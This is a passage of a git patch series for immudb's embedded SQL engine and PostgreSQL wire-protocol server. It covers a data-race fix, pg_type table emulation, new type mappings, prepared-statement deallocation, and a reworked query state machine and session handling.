} - encodedValues := make([][]byte, 2+len(index.cols)+1) - encodedValues[0] = EncodeID(index.table.id) - encodedValues[1] = EncodeID(index.id) - return func(key, value []byte) ([]byte, error) { + encodedValues := make([][]byte, 2+len(index.cols)+1) + encodedValues[0] = EncodeID(index.table.id) + encodedValues[1] = EncodeID(index.id) + valuesByColID := make(map[uint32]TypedValue, len(index.cols)) for _, col := range index.table.cols { From 4ac392d5535de251c8a9c9ac7ed4e3834cfdf3bd Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Fri, 3 Nov 2023 01:51:45 +0100 Subject: [PATCH 0889/1062] fix(embedded/sql): fix data-race when mapping keys Signed-off-by: Jeronimo Irazabal --- embedded/store/ongoing_tx.go | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/embedded/store/ongoing_tx.go b/embedded/store/ongoing_tx.go index c077464b44..6b6ce47adf 100644 --- a/embedded/store/ongoing_tx.go +++ b/embedded/store/ongoing_tx.go @@ -279,9 +279,10 @@ func (tx *OngoingTx) set(key []byte, md *KVMetadata, value []byte, hashValue [sh var indexedValue [lszSize + offsetSize + sha256.Size + sszSize + sszSize]byte tx.st.indexersMux.RLock() - defer tx.st.indexersMux.RUnlock() + indexers := tx.st.indexers + tx.st.indexersMux.RUnlock() - for _, indexer := range tx.st.indexers { + for _, indexer := range indexers { if isTransient && !hasPrefix(key, indexer.TargetPrefix()) { continue } From f203d1d4dfb0d4037be943f9be4997077f2cd409 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Tue, 24 Oct 2023 15:38:03 +0200 Subject: [PATCH 0890/1062] chore(embedded/sql): wip emulate pg_type system table Signed-off-by: Jeronimo Irazabal --- embedded/sql/catalog.go | 47 +++++++++++++++++++++++++++++++++++++- embedded/sql/row_reader.go | 31 ++++++++++++++++++++++--- 2 files changed, 74 insertions(+), 4 deletions(-) diff --git a/embedded/sql/catalog.go b/embedded/sql/catalog.go index 5326d5987a..fd6a0877cc 100644 --- a/embedded/sql/catalog.go +++ b/embedded/sql/catalog.go @@ -79,11 +79,56 @@ type Column struct { } func newCatalog(enginePrefix []byte) *Catalog { - return &Catalog{ + ctlg := &Catalog{ enginePrefix: enginePrefix, tablesByID: make(map[uint32]*Table), tablesByName: make(map[string]*Table), } + + pgTypeTable := &Table{ + catalog: ctlg, + name: "pg_type", + cols: []*Column{ + { + colName: "oid", + colType: VarcharType, + maxLen: 10, + }, + { + colName: "typbasetype", + colType: VarcharType, + maxLen: 10, + }, + { + colName: "typname", + colType: VarcharType, + maxLen: 50, + }, + }, + } + + pgTypeTable.colsByName = make(map[string]*Column, len(pgTypeTable.cols)) + + for _, col := range pgTypeTable.cols { + pgTypeTable.colsByName[col.colName] = col + } + + pgTypeTable.indexes = []*Index{ + { + unique: true, + cols: []*Column{ + pgTypeTable.colsByName["oid"], + }, + colsByID: map[uint32]*Column{ + 0: pgTypeTable.colsByName["oid"], + }, + }, + } + + pgTypeTable.primaryIndex = pgTypeTable.indexes[0] + ctlg.tablesByName[pgTypeTable.name] = pgTypeTable + + return ctlg } func (catlg *Catalog) ExistTable(table string) bool { diff --git a/embedded/sql/row_reader.go b/embedded/sql/row_reader.go index 2f8ef7bf84..9fdf75991c 100644 --- a/embedded/sql/row_reader.go +++ b/embedded/sql/row_reader.go @@ -145,6 +145,25 @@ func (d *ColDescriptor) Selector() string { return EncodeSelector(d.AggFn, d.Table, d.Column) } +type emptyKeyReader struct { +} + +func (r emptyKeyReader) Read(ctx context.Context) (key []byte, val store.ValueRef, err error) { + return nil, nil, store.ErrNoMoreEntries +} + +func (r emptyKeyReader) ReadBetween(ctx context.Context, initialTxID uint64, finalTxID uint64) (key []byte, val store.ValueRef, err error) { + return nil, nil, store.ErrNoMoreEntries +} + +func (r emptyKeyReader) Reset() error { + return nil +} + +func (r emptyKeyReader) Close() error { + return nil +} + func newRawRowReader(tx *SQLTx, params map[string]interface{}, table *Table, period period, tableAlias string, scanSpecs *ScanSpecs) (*rawRowReader, error) { if table == nil || scanSpecs == nil || scanSpecs.Index == nil { return nil, ErrIllegalArguments @@ -155,9 +174,15 @@ func newRawRowReader(tx *SQLTx, params map[string]interface{}, table *Table, per return nil, err } - r, err := tx.newKeyReader(*rSpec) - if err != nil { - return nil, err + var r store.KeyReader + + if table.name == "pg_type" { + r = &emptyKeyReader{} + } else { + r, err = tx.newKeyReader(*rSpec) + if err != nil { + return nil, err + } } if tableAlias == "" { From d1de81a4f25bcbb8158539faf4f6f38845476af9 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Tue, 24 Oct 2023 15:38:31 +0200 Subject: [PATCH 0891/1062] chore(pkg/pgsql): uuid and float types conversion Signed-off-by: Jeronimo Irazabal --- pkg/pgsql/server/pgmeta/pg_type.go | 12 +++++++----- 1 file changed, 7 insertions(+), 5 deletions(-) diff --git a/pkg/pgsql/server/pgmeta/pg_type.go b/pkg/pgsql/server/pgmeta/pg_type.go index 9669a6c8b0..357f3dd19c 100644 --- a/pkg/pgsql/server/pgmeta/pg_type.go +++ b/pkg/pgsql/server/pgmeta/pg_type.go @@ -31,11 +31,13 @@ var PgsqlProtocolVersionMessage = fmt.Sprintf("pgsql wire protocol %s or greater // First int is the oid value (retrieved with select * from pg_type;) // Second int is the length of the value. -1 for dynamic. var PgTypeMap = map[string][]int{ - "BOOLEAN": {16, 1}, //bool - "BLOB": {17, -1}, //bytea - "TIMESTAMP": {20, 8}, //int8 - "INTEGER": {20, 8}, //int8 - "VARCHAR": {25, -1}, //text + "BOOLEAN": {16, 1}, //bool + "BLOB": {17, -1}, //bytea + "TIMESTAMP": {20, 8}, //int8 + "INTEGER": {20, 8}, //int8 + "VARCHAR": {25, -1}, //text + "UUID": {2950, 16}, //uuid + "FLOAT": {701, 8}, //double-precision floating point number } const PgSeverityError = "ERROR" From 2aff0ff4af1b501892a467186df9f4a89b6667e3 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Tue, 24 Oct 2023 15:39:02 +0200 Subject: [PATCH 0892/1062] chore(pkg/pgsql): handle deallocate prepared stmt Signed-off-by: Jeronimo Irazabal --- pkg/pgsql/server/stmts_handler.go | 17 ++++++++++++++++- 1 file changed, 16 insertions(+), 1 deletion(-) diff --git a/pkg/pgsql/server/stmts_handler.go b/pkg/pgsql/server/stmts_handler.go index 88a0ddafa8..0f70005df9 100644 --- a/pkg/pgsql/server/stmts_handler.go +++ b/pkg/pgsql/server/stmts_handler.go @@ -24,6 +24,7 @@ import ( var set = regexp.MustCompile(`(?i)set\s+.+`) var selectVersion = regexp.MustCompile(`(?i)select\s+version\(\s*\)`) +var dealloc = regexp.MustCompile(`(?i)deallocate\s+\"([^\"]+)\"`) func (s *session) isInBlackList(statement string) bool { if set.MatchString(statement) { @@ -39,14 +40,24 @@ func (s *session) isEmulableInternally(statement string) interface{} { if selectVersion.MatchString(statement) { return &version{} } + + if dealloc.MatchString(statement) { + matches := dealloc.FindStringSubmatch(statement) + if len(matches) == 2 { + return &deallocate{plan: matches[1]} + } + } return nil } func (s *session) tryToHandleInternally(command interface{}) error { - switch command.(type) { + switch cmd := command.(type) { case *version: if err := s.writeVersionInfo(); err != nil { return err } + case *deallocate: + delete(s.statements, cmd.plan) + return nil default: return pserr.ErrMessageCannotBeHandledInternally } @@ -54,3 +65,7 @@ func (s *session) tryToHandleInternally(command interface{}) error { } type version struct{} + +type deallocate struct { + plan string +} From 46a3592ecfaf9ca006cb2490975ec2a089e61339 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Tue, 24 Oct 2023 15:39:43 +0200 Subject: [PATCH 0893/1062] chore(pkg/pgsql): decouple error from ready to query messages Signed-off-by: Jeronimo Irazabal --- pkg/pgsql/server/session.go | 15 ++++----------- 1 file changed, 4 insertions(+), 11 deletions(-) diff --git a/pkg/pgsql/server/session.go b/pkg/pgsql/server/session.go index 551bc26ec4..da71d146ca 100644 --- a/pkg/pgsql/server/session.go +++ b/pkg/pgsql/server/session.go @@ -28,7 +28,6 @@ import ( "github.com/codenotary/immudb/pkg/auth" "github.com/codenotary/immudb/pkg/database" "github.com/codenotary/immudb/pkg/pgsql/errors" - bm "github.com/codenotary/immudb/pkg/pgsql/server/bmessages" fm "github.com/codenotary/immudb/pkg/pgsql/server/fmessages" "github.com/codenotary/immudb/pkg/pgsql/server/pgmeta" ) @@ -67,16 +66,10 @@ func NewSession(c net.Conn, log logger.Logger, sysDb database.DB, tlsConfig *tls } func (s *session) ErrorHandle(e error) { - if e != nil { - er := errors.MapPgError(e) - _, err := s.writeMessage(er.Encode()) - if err != nil { - s.log.Errorf("unable to write error on wire: %v", err) - } - s.log.Debugf("%s", er.ToString()) - if _, err := s.writeMessage(bm.ReadyForQuery()); err != nil { - s.log.Errorf("unable to complete error handling: %v", err) - } + pgerr := errors.MapPgError(e) + _, err := s.writeMessage(pgerr.Encode()) + if err != nil { + s.log.Errorf("unable to write error on wire: %w", err) } } From 0e6d1b6a0c43ecb753427041c0a61b380d5af0a0 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Tue, 24 Oct 2023 15:40:32 +0200 Subject: [PATCH 0894/1062] chore(pkg/pgsql): pgsql write protocol improvements Signed-off-by: Jeronimo Irazabal --- pkg/pgsql/server/query_machine.go | 183 +++++++++++++++++------------- 1 file changed, 103 insertions(+), 80 deletions(-) diff --git a/pkg/pgsql/server/query_machine.go b/pkg/pgsql/server/query_machine.go index dc718bf87a..c9d47b66ba 100644 --- a/pkg/pgsql/server/query_machine.go +++ b/pkg/pgsql/server/query_machine.go @@ -46,13 +46,14 @@ func (s *session) QueriesMachine(ctx context.Context) (err error) { for { msg, extQueryMode, err := s.nextMessage() if err != nil { - if err == io.EOF { + if errors.Is(err, io.EOF) { s.log.Warningf("connection is closed") return nil } s.ErrorHandle(err) continue } + // When an error is detected while processing any extended-query message, the backend issues ErrorResponse, // then reads and discards messages until a Sync is reached, then issues ReadyForQuery and returns to normal // message processing. (But note that no skipping occurs if an error is detected while processing Sync — this @@ -67,34 +68,71 @@ func (s *session) QueriesMachine(ctx context.Context) (err error) { case fm.TerminateMsg: return s.mr.CloseConnection() case fm.QueryMsg: - if err = s.fetchAndWriteResults(ctx, v.GetStatements(), nil, nil, false); err != nil { - s.ErrorHandle(err) - continue - } - if _, err = s.writeMessage(bm.CommandComplete([]byte(`ok`))); err != nil { + err := s.fetchAndWriteResults(ctx, v.GetStatements(), nil, nil, false) + if err != nil { + waitForSync = extQueryMode s.ErrorHandle(err) - continue } + if _, err = s.writeMessage(bm.ReadyForQuery()); err != nil { - s.ErrorHandle(err) - continue + waitForSync = extQueryMode } case fm.ParseMsg: + _, ok := s.statements[v.DestPreparedStatementName] + // unnamed prepared statement overrides previous + if ok && v.DestPreparedStatementName != "" { + waitForSync = extQueryMode + s.ErrorHandle(fmt.Errorf("statement '%s' already present", v.DestPreparedStatementName)) + continue + } + var paramCols []*schema.Column var resCols []*schema.Column var stmt sql.SQLStmt - if !s.isInBlackList(v.Statements) { - if paramCols, resCols, err = s.inferParamAndResultCols(ctx, v.Statements); err != nil { - s.ErrorHandle(err) - waitForSync = true - continue + + if s.isInBlackList(v.Statements) { + _, err := s.writeMessage(bm.ParseComplete()) + if err != nil { + waitForSync = extQueryMode } + continue } - _, ok := s.statements[v.DestPreparedStatementName] - // unnamed prepared statement overrides previous - if ok && v.DestPreparedStatementName != "" { - s.ErrorHandle(errors.New("statement already present")) - waitForSync = true + + // todo @Michele The query string contained in a Parse message cannot include more than one SQL statement; + // else a syntax error is reported. This restriction does not exist in the simple-query protocol, + // but it does exist in the extended protocol, because allowing prepared statements or portals to contain + // multiple commands would complicate the protocol unduly. + stmts, err := sql.Parse(strings.NewReader(v.Statements)) + if err != nil { + waitForSync = extQueryMode + s.ErrorHandle(err) + continue + } + + // The query string contained in a Parse message cannot include more than one SQL statement; + // else a syntax error is reported. This restriction does not exist in the simple-query protocol, but it does exist + // in the extended protocol, because allowing prepared statements or portals to contain multiple commands would + // complicate the protocol unduly. + if len(stmts) > 1 { + waitForSync = extQueryMode + s.ErrorHandle(pserr.ErrMaxStmtNumberExceeded) + continue + } + if len(stmts) == 0 { + waitForSync = extQueryMode + s.ErrorHandle(pserr.ErrNoStatementFound) + continue + } + + if paramCols, resCols, err = s.inferParamAndResultCols(ctx, stmts[0]); err != nil { + waitForSync = extQueryMode + s.ErrorHandle(err) + continue + } + + _, err = s.writeMessage(bm.ParseComplete()) + if err != nil { + waitForSync = extQueryMode continue } @@ -109,11 +147,6 @@ func (s *session) QueriesMachine(ctx context.Context) (err error) { s.statements[v.DestPreparedStatementName] = newStatement - if _, err = s.writeMessage(bm.ParseComplete()); err != nil { - s.ErrorHandle(err) - waitForSync = true - continue - } case fm.DescribeMsg: // The Describe message (statement variant) specifies the name of an existing prepared statement // (or an empty string for the unnamed prepared statement). The response is a ParameterDescription @@ -126,18 +159,18 @@ func (s *session) QueriesMachine(ctx context.Context) (err error) { if v.DescType == "S" { st, ok := s.statements[v.Name] if !ok { - s.ErrorHandle(errors.New("statement not found")) - waitForSync = true + waitForSync = extQueryMode + s.ErrorHandle(fmt.Errorf("statement '%s' not found", v.Name)) continue } + if _, err = s.writeMessage(bm.ParameterDescription(st.Params)); err != nil { - s.ErrorHandle(err) - waitForSync = true + waitForSync = extQueryMode continue } + if _, err := s.writeMessage(bm.RowDescription(st.Results, nil)); err != nil { - s.ErrorHandle(err) - waitForSync = true + waitForSync = extQueryMode continue } } @@ -146,42 +179,46 @@ func (s *session) QueriesMachine(ctx context.Context) (err error) { // returned by executing the portal; or a NoData message if the portal does not contain a query that // will return rows; or ErrorResponse if there is no such portal. if v.DescType == "P" { - st, ok := s.portals[v.Name] + portal, ok := s.portals[v.Name] if !ok { - s.ErrorHandle(fmt.Errorf("portal %s not found", v.Name)) - waitForSync = true + waitForSync = extQueryMode + s.ErrorHandle(fmt.Errorf("portal '%s' not found", v.Name)) continue } - if _, err = s.writeMessage(bm.RowDescription(st.Statement.Results, st.ResultColumnFormatCodes)); err != nil { - s.ErrorHandle(err) - waitForSync = true + + if _, err = s.writeMessage(bm.RowDescription(portal.Statement.Results, portal.ResultColumnFormatCodes)); err != nil { + waitForSync = extQueryMode continue } } case fm.SyncMsg: - if _, err = s.writeMessage(bm.ReadyForQuery()); err != nil { - s.ErrorHandle(err) - } + waitForSync = false + s.writeMessage(bm.ReadyForQuery()) case fm.BindMsg: _, ok := s.portals[v.DestPortalName] // unnamed portal overrides previous if ok && v.DestPortalName != "" { - s.ErrorHandle(fmt.Errorf("portal %s already present", v.DestPortalName)) - waitForSync = true + waitForSync = extQueryMode + s.ErrorHandle(fmt.Errorf("portal '%s' already present", v.DestPortalName)) continue } st, ok := s.statements[v.PreparedStatementName] if !ok { - s.ErrorHandle(fmt.Errorf("statement %s not found", v.PreparedStatementName)) - waitForSync = true + waitForSync = extQueryMode + s.ErrorHandle(fmt.Errorf("statement '%s' not found", v.PreparedStatementName)) continue } encodedParams, err := buildNamedParams(st.Params, v.ParamVals) if err != nil { + waitForSync = extQueryMode s.ErrorHandle(err) - waitForSync = true + continue + } + + if _, err = s.writeMessage(bm.BindComplete()); err != nil { + waitForSync = extQueryMode continue } @@ -191,32 +228,36 @@ func (s *session) QueriesMachine(ctx context.Context) (err error) { Parameters: encodedParams, ResultColumnFormatCodes: v.ResultColumnFormatCodes, } - s.portals[v.DestPortalName] = newPortal - if _, err = s.writeMessage(bm.BindComplete()); err != nil { - s.ErrorHandle(err) - waitForSync = true - continue - } + s.portals[v.DestPortalName] = newPortal case fm.Execute: //query execution - if err = s.fetchAndWriteResults(ctx, s.portals[v.PortalName].Statement.SQLStatement, - s.portals[v.PortalName].Parameters, - s.portals[v.PortalName].ResultColumnFormatCodes, + portal, ok := s.portals[v.PortalName] + if !ok { + waitForSync = extQueryMode + s.ErrorHandle(fmt.Errorf("portal '%s' not found", v.PortalName)) + continue + } + + delete(s.portals, v.PortalName) + + if err = s.fetchAndWriteResults(ctx, portal.Statement.SQLStatement, + portal.Parameters, + portal.ResultColumnFormatCodes, true); err != nil { + waitForSync = extQueryMode s.ErrorHandle(err) - waitForSync = true continue } - if _, err := s.writeMessage(bm.CommandComplete([]byte(`ok`))); err != nil { - s.ErrorHandle(err) - waitForSync = true + + if _, err := s.writeMessage(bm.CommandComplete([]byte("ok"))); err != nil { + waitForSync = extQueryMode } case fm.FlushMsg: // there is no buffer to be flushed default: + waitForSync = extQueryMode s.ErrorHandle(pserr.ErrUnknowMessageType) - continue } } } @@ -225,17 +266,18 @@ func (s *session) fetchAndWriteResults(ctx context.Context, statements string, p if s.isInBlackList(statements) { return nil } + if i := s.isEmulableInternally(statements); i != nil { if err := s.tryToHandleInternally(i); err != nil && err != pserr.ErrMessageCannotBeHandledInternally { return err } - return nil } stmts, err := sql.Parse(strings.NewReader(statements)) if err != nil { return err } + for _, stmt := range stmts { switch st := stmt.(type) { case *sql.UseDatabaseStmt: @@ -256,6 +298,7 @@ func (s *session) fetchAndWriteResults(ctx context.Context, statements string, p } } } + return nil } @@ -310,27 +353,7 @@ type statement struct { Results []*schema.Column } -func (s *session) inferParamAndResultCols(ctx context.Context, statement string) ([]*schema.Column, []*schema.Column, error) { - // todo @Michele The query string contained in a Parse message cannot include more than one SQL statement; - // else a syntax error is reported. This restriction does not exist in the simple-query protocol, - // but it does exist in the extended protocol, because allowing prepared statements or portals to contain - // multiple commands would complicate the protocol unduly. - stmts, err := sql.Parse(strings.NewReader(statement)) - if err != nil { - return nil, nil, err - } - // The query string contained in a Parse message cannot include more than one SQL statement; - // else a syntax error is reported. This restriction does not exist in the simple-query protocol, but it does exist - // in the extended protocol, because allowing prepared statements or portals to contain multiple commands would - // complicate the protocol unduly. - if len(stmts) > 1 { - return nil, nil, pserr.ErrMaxStmtNumberExceeded - } - if len(stmts) == 0 { - return nil, nil, pserr.ErrNoStatementFound - } - stmt := stmts[0] - +func (s *session) inferParamAndResultCols(ctx context.Context, stmt sql.SQLStmt) ([]*schema.Column, []*schema.Column, error) { resCols := make([]*schema.Column, 0) sel, ok := stmt.(*sql.SelectStmt) From ef9b416acd55e19a377b78812beeb7600897a241 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Thu, 26 Oct 2023 14:24:44 +0200 Subject: [PATCH 0895/1062] chore(pkg/pgsql): transactional query machine Signed-off-by: Jeronimo Irazabal --- pkg/pgsql/errors/errors.go | 3 +- pkg/pgsql/server/initialize_session.go | 49 +++++++++---- pkg/pgsql/server/options.go | 40 +++++------ pkg/pgsql/server/query_machine.go | 90 +++++++++++------------- pkg/pgsql/server/query_machine_test.go | 5 +- pkg/pgsql/server/request_handler.go | 18 ++--- pkg/pgsql/server/request_handler_test.go | 51 -------------- pkg/pgsql/server/server.go | 57 ++++++++------- pkg/pgsql/server/server_test.go | 10 +-- pkg/pgsql/server/session.go | 89 +++++++++++------------ pkg/pgsql/server/session_factory.go | 39 ---------- pkg/pgsql/server/session_factory_test.go | 37 ---------- pkg/pgsql/server/ssl_handshake_test.go | 2 - 13 files changed, 183 insertions(+), 307 deletions(-) delete mode 100644 pkg/pgsql/server/request_handler_test.go delete mode 100644 pkg/pgsql/server/session_factory.go delete mode 100644 pkg/pgsql/server/session_factory_test.go diff --git a/pkg/pgsql/errors/errors.go b/pkg/pgsql/errors/errors.go index 0e9debaa6f..040026be47 100644 --- a/pkg/pgsql/errors/errors.go +++ b/pkg/pgsql/errors/errors.go @@ -31,8 +31,7 @@ var ErrPwNotprovided = errors.New("password not provided") var ErrDBNotExists = errors.New("selected db doesn't exists") var ErrUsernameNotFound = errors.New("user not found") var ErrExpectedQueryMessage = errors.New("expected query message") -var ErrUseDBStatementNotSupported = errors.New("SQL statement not supported. Please use `UseDatabase` operation instead") -var ErrCreateDBStatementNotSupported = errors.New("SQL statement not supported. Please use `CreateDatabase` operation instead") +var ErrUseDBStatementNotSupported = errors.New("SQL statement not supported") var ErrSSLNotSupported = errors.New("SSL not supported") var ErrMaxStmtNumberExceeded = errors.New("maximum number of statements in a single query exceeded") var ErrNoStatementFound = errors.New("no statement found") diff --git a/pkg/pgsql/server/initialize_session.go b/pkg/pgsql/server/initialize_session.go index ef328ed588..205e6b971f 100644 --- a/pkg/pgsql/server/initialize_session.go +++ b/pkg/pgsql/server/initialize_session.go @@ -19,23 +19,25 @@ package server import ( "bufio" "bytes" + "context" "encoding/binary" "errors" "fmt" - "strings" + "github.com/codenotary/immudb/pkg/client" "github.com/codenotary/immudb/pkg/database" pserr "github.com/codenotary/immudb/pkg/pgsql/errors" bm "github.com/codenotary/immudb/pkg/pgsql/server/bmessages" fm "github.com/codenotary/immudb/pkg/pgsql/server/fmessages" "github.com/codenotary/immudb/pkg/pgsql/server/pgmeta" + "google.golang.org/grpc/metadata" ) // InitializeSession func (s *session) InitializeSession() (err error) { defer func() { if err != nil { - s.ErrorHandle(err) + s.HandleError(err) s.mr.CloseConnection() } }() @@ -124,10 +126,10 @@ func (s *session) InitializeSession() (err error) { } // HandleStartup errors are returned and handled in the caller -func (s *session) HandleStartup(dbList database.DatabaseList) (err error) { +func (s *session) HandleStartup(ctx context.Context) (err error) { defer func() { if err != nil { - s.ErrorHandle(err) + s.HandleError(err) s.mr.CloseConnection() } }() @@ -136,51 +138,65 @@ func (s *session) HandleStartup(dbList database.DatabaseList) (err error) { if !ok || user == "" { return pserr.ErrUsernameNotprovided } - s.username = user + db, ok := s.connParams["database"] if !ok { return pserr.ErrDBNotprovided } - s.database, err = dbList.GetByName(db) + + s.db, err = s.dbList.GetByName(db) if err != nil { if errors.Is(err, database.ErrDatabaseNotExists) { return pserr.ErrDBNotExists } return err } - s.log.Debugf("selected %s database", s.database.GetName()) if _, err = s.writeMessage(bm.AuthenticationCleartextPassword()); err != nil { return err } + msg, _, err := s.nextMessage() if err != nil { return err } + if pw, ok := msg.(fm.PasswordMsg); ok { if !ok || pw.GetSecret() == "" { return pserr.ErrPwNotprovided } - usr, err := s.getUser([]byte(s.username)) + + opts := client.DefaultOptions(). + WithAddress(s.immudbHost). + WithPort(s.immudbPort). + WithDisableIdentityCheck(true) + + s.client = client.NewClient().WithOptions(opts) + + err := s.client.OpenSession(ctx, []byte(user), []byte(pw.GetSecret()), db) if err != nil { - if strings.Contains(err.Error(), "key not found") { - return pserr.ErrUsernameNotFound - } - } - if err := usr.ComparePasswords([]byte(pw.GetSecret())); err != nil { return err } - s.log.Debugf("authentication successful for %s", s.username) + + s.client.CurrentState(context.Background()) + + sessionID := s.client.GetSessionID() + s.ctx = metadata.NewIncomingContext(context.Background(), metadata.Pairs("sessionid", sessionID)) + + s.log.Debugf("authentication successful for %s", user) if _, err := s.writeMessage(bm.AuthenticationOk()); err != nil { return err } } + if _, err := s.writeMessage(bm.ParameterStatus([]byte("standard_conforming_strings"), []byte("on"))); err != nil { return err } + if _, err := s.writeMessage(bm.ParameterStatus([]byte("client_encoding"), []byte("UTF8"))); err != nil { return err } + // todo this is needed by jdbc driver. Here is added the minor supported version at the moment if _, err := s.writeMessage(bm.ParameterStatus([]byte("server_version"), []byte(pgmeta.PgsqlProtocolVersion))); err != nil { return err @@ -194,3 +210,8 @@ func parseProtocolVersion(payload []byte) string { minor := int(binary.BigEndian.Uint16(payload[2:4])) return fmt.Sprintf("%d.%d", major, minor) } + +func (s *session) Close() error { + s.mr.CloseConnection() + return s.client.CloseSession(s.ctx) +} diff --git a/pkg/pgsql/server/options.go b/pkg/pgsql/server/options.go index 91f45e33e7..6c0f9b5110 100644 --- a/pkg/pgsql/server/options.go +++ b/pkg/pgsql/server/options.go @@ -23,46 +23,40 @@ import ( "github.com/codenotary/immudb/pkg/database" ) -type Option func(s *srv) +type Option func(s *pgsrv) -func Address(addr string) Option { - return func(args *srv) { - args.Address = addr +func Host(host string) Option { + return func(args *pgsrv) { + args.host = host } } func Port(port int) Option { - return func(args *srv) { - args.Port = port + return func(args *pgsrv) { + args.port = port } } -func Logger(logger logger.Logger) Option { - return func(args *srv) { - args.Logger = logger +func ImmudbPort(port int) Option { + return func(args *pgsrv) { + args.immudbPort = port } } -func DatabaseList(dbList database.DatabaseList) Option { - return func(args *srv) { - args.dbList = dbList - } -} - -func SysDb(sysdb database.DB) Option { - return func(args *srv) { - args.sysDb = sysdb +func Logger(logger logger.Logger) Option { + return func(args *pgsrv) { + args.logger = logger } } -func TlsConfig(tlsConfig *tls.Config) Option { - return func(args *srv) { +func TLSConfig(tlsConfig *tls.Config) Option { + return func(args *pgsrv) { args.tlsConfig = tlsConfig } } -func SessFactory(sf SessionFactory) Option { - return func(args *srv) { - args.SessionFactory = sf +func DatabaseList(dbList database.DatabaseList) Option { + return func(args *pgsrv) { + args.dbList = dbList } } diff --git a/pkg/pgsql/server/query_machine.go b/pkg/pgsql/server/query_machine.go index c9d47b66ba..c2f721cc25 100644 --- a/pkg/pgsql/server/query_machine.go +++ b/pkg/pgsql/server/query_machine.go @@ -17,7 +17,6 @@ limitations under the License. package server import ( - "context" "errors" "fmt" "io" @@ -32,14 +31,11 @@ import ( fm "github.com/codenotary/immudb/pkg/pgsql/server/fmessages" ) -// QueriesMachine ... -func (s *session) QueriesMachine(ctx context.Context) (err error) { - s.Lock() - defer s.Unlock() - +func (s *session) QueryMachine() error { var waitForSync = false - if _, err = s.writeMessage(bm.ReadyForQuery()); err != nil { + _, err := s.writeMessage(bm.ReadyForQuery()) + if err != nil { return err } @@ -50,7 +46,7 @@ func (s *session) QueriesMachine(ctx context.Context) (err error) { s.log.Warningf("connection is closed") return nil } - s.ErrorHandle(err) + s.HandleError(err) continue } @@ -68,10 +64,10 @@ func (s *session) QueriesMachine(ctx context.Context) (err error) { case fm.TerminateMsg: return s.mr.CloseConnection() case fm.QueryMsg: - err := s.fetchAndWriteResults(ctx, v.GetStatements(), nil, nil, false) + err := s.fetchAndWriteResults(v.GetStatements(), nil, nil, false) if err != nil { waitForSync = extQueryMode - s.ErrorHandle(err) + s.HandleError(err) } if _, err = s.writeMessage(bm.ReadyForQuery()); err != nil { @@ -82,7 +78,7 @@ func (s *session) QueriesMachine(ctx context.Context) (err error) { // unnamed prepared statement overrides previous if ok && v.DestPreparedStatementName != "" { waitForSync = extQueryMode - s.ErrorHandle(fmt.Errorf("statement '%s' already present", v.DestPreparedStatementName)) + s.HandleError(fmt.Errorf("statement '%s' already present", v.DestPreparedStatementName)) continue } @@ -105,7 +101,7 @@ func (s *session) QueriesMachine(ctx context.Context) (err error) { stmts, err := sql.Parse(strings.NewReader(v.Statements)) if err != nil { waitForSync = extQueryMode - s.ErrorHandle(err) + s.HandleError(err) continue } @@ -115,18 +111,18 @@ func (s *session) QueriesMachine(ctx context.Context) (err error) { // complicate the protocol unduly. if len(stmts) > 1 { waitForSync = extQueryMode - s.ErrorHandle(pserr.ErrMaxStmtNumberExceeded) + s.HandleError(pserr.ErrMaxStmtNumberExceeded) continue } if len(stmts) == 0 { waitForSync = extQueryMode - s.ErrorHandle(pserr.ErrNoStatementFound) + s.HandleError(pserr.ErrNoStatementFound) continue } - if paramCols, resCols, err = s.inferParamAndResultCols(ctx, stmts[0]); err != nil { + if paramCols, resCols, err = s.inferParamAndResultCols(stmts[0]); err != nil { waitForSync = extQueryMode - s.ErrorHandle(err) + s.HandleError(err) continue } @@ -160,7 +156,7 @@ func (s *session) QueriesMachine(ctx context.Context) (err error) { st, ok := s.statements[v.Name] if !ok { waitForSync = extQueryMode - s.ErrorHandle(fmt.Errorf("statement '%s' not found", v.Name)) + s.HandleError(fmt.Errorf("statement '%s' not found", v.Name)) continue } @@ -182,7 +178,7 @@ func (s *session) QueriesMachine(ctx context.Context) (err error) { portal, ok := s.portals[v.Name] if !ok { waitForSync = extQueryMode - s.ErrorHandle(fmt.Errorf("portal '%s' not found", v.Name)) + s.HandleError(fmt.Errorf("portal '%s' not found", v.Name)) continue } @@ -199,21 +195,21 @@ func (s *session) QueriesMachine(ctx context.Context) (err error) { // unnamed portal overrides previous if ok && v.DestPortalName != "" { waitForSync = extQueryMode - s.ErrorHandle(fmt.Errorf("portal '%s' already present", v.DestPortalName)) + s.HandleError(fmt.Errorf("portal '%s' already present", v.DestPortalName)) continue } st, ok := s.statements[v.PreparedStatementName] if !ok { waitForSync = extQueryMode - s.ErrorHandle(fmt.Errorf("statement '%s' not found", v.PreparedStatementName)) + s.HandleError(fmt.Errorf("statement '%s' not found", v.PreparedStatementName)) continue } encodedParams, err := buildNamedParams(st.Params, v.ParamVals) if err != nil { waitForSync = extQueryMode - s.ErrorHandle(err) + s.HandleError(err) continue } @@ -235,18 +231,18 @@ func (s *session) QueriesMachine(ctx context.Context) (err error) { portal, ok := s.portals[v.PortalName] if !ok { waitForSync = extQueryMode - s.ErrorHandle(fmt.Errorf("portal '%s' not found", v.PortalName)) + s.HandleError(fmt.Errorf("portal '%s' not found", v.PortalName)) continue } delete(s.portals, v.PortalName) - if err = s.fetchAndWriteResults(ctx, portal.Statement.SQLStatement, + if err = s.fetchAndWriteResults(portal.Statement.SQLStatement, portal.Parameters, portal.ResultColumnFormatCodes, true); err != nil { waitForSync = extQueryMode - s.ErrorHandle(err) + s.HandleError(err) continue } @@ -257,12 +253,12 @@ func (s *session) QueriesMachine(ctx context.Context) (err error) { // there is no buffer to be flushed default: waitForSync = extQueryMode - s.ErrorHandle(pserr.ErrUnknowMessageType) + s.HandleError(pserr.ErrUnknowMessageType) } } } -func (s *session) fetchAndWriteResults(ctx context.Context, statements string, parameters []*schema.NamedParam, resultColumnFormatCodes []int16, skipRowDesc bool) error { +func (s *session) fetchAndWriteResults(statements string, parameters []*schema.NamedParam, resultColumnFormatCodes []int16, skipRowDesc bool) error { if s.isInBlackList(statements) { return nil } 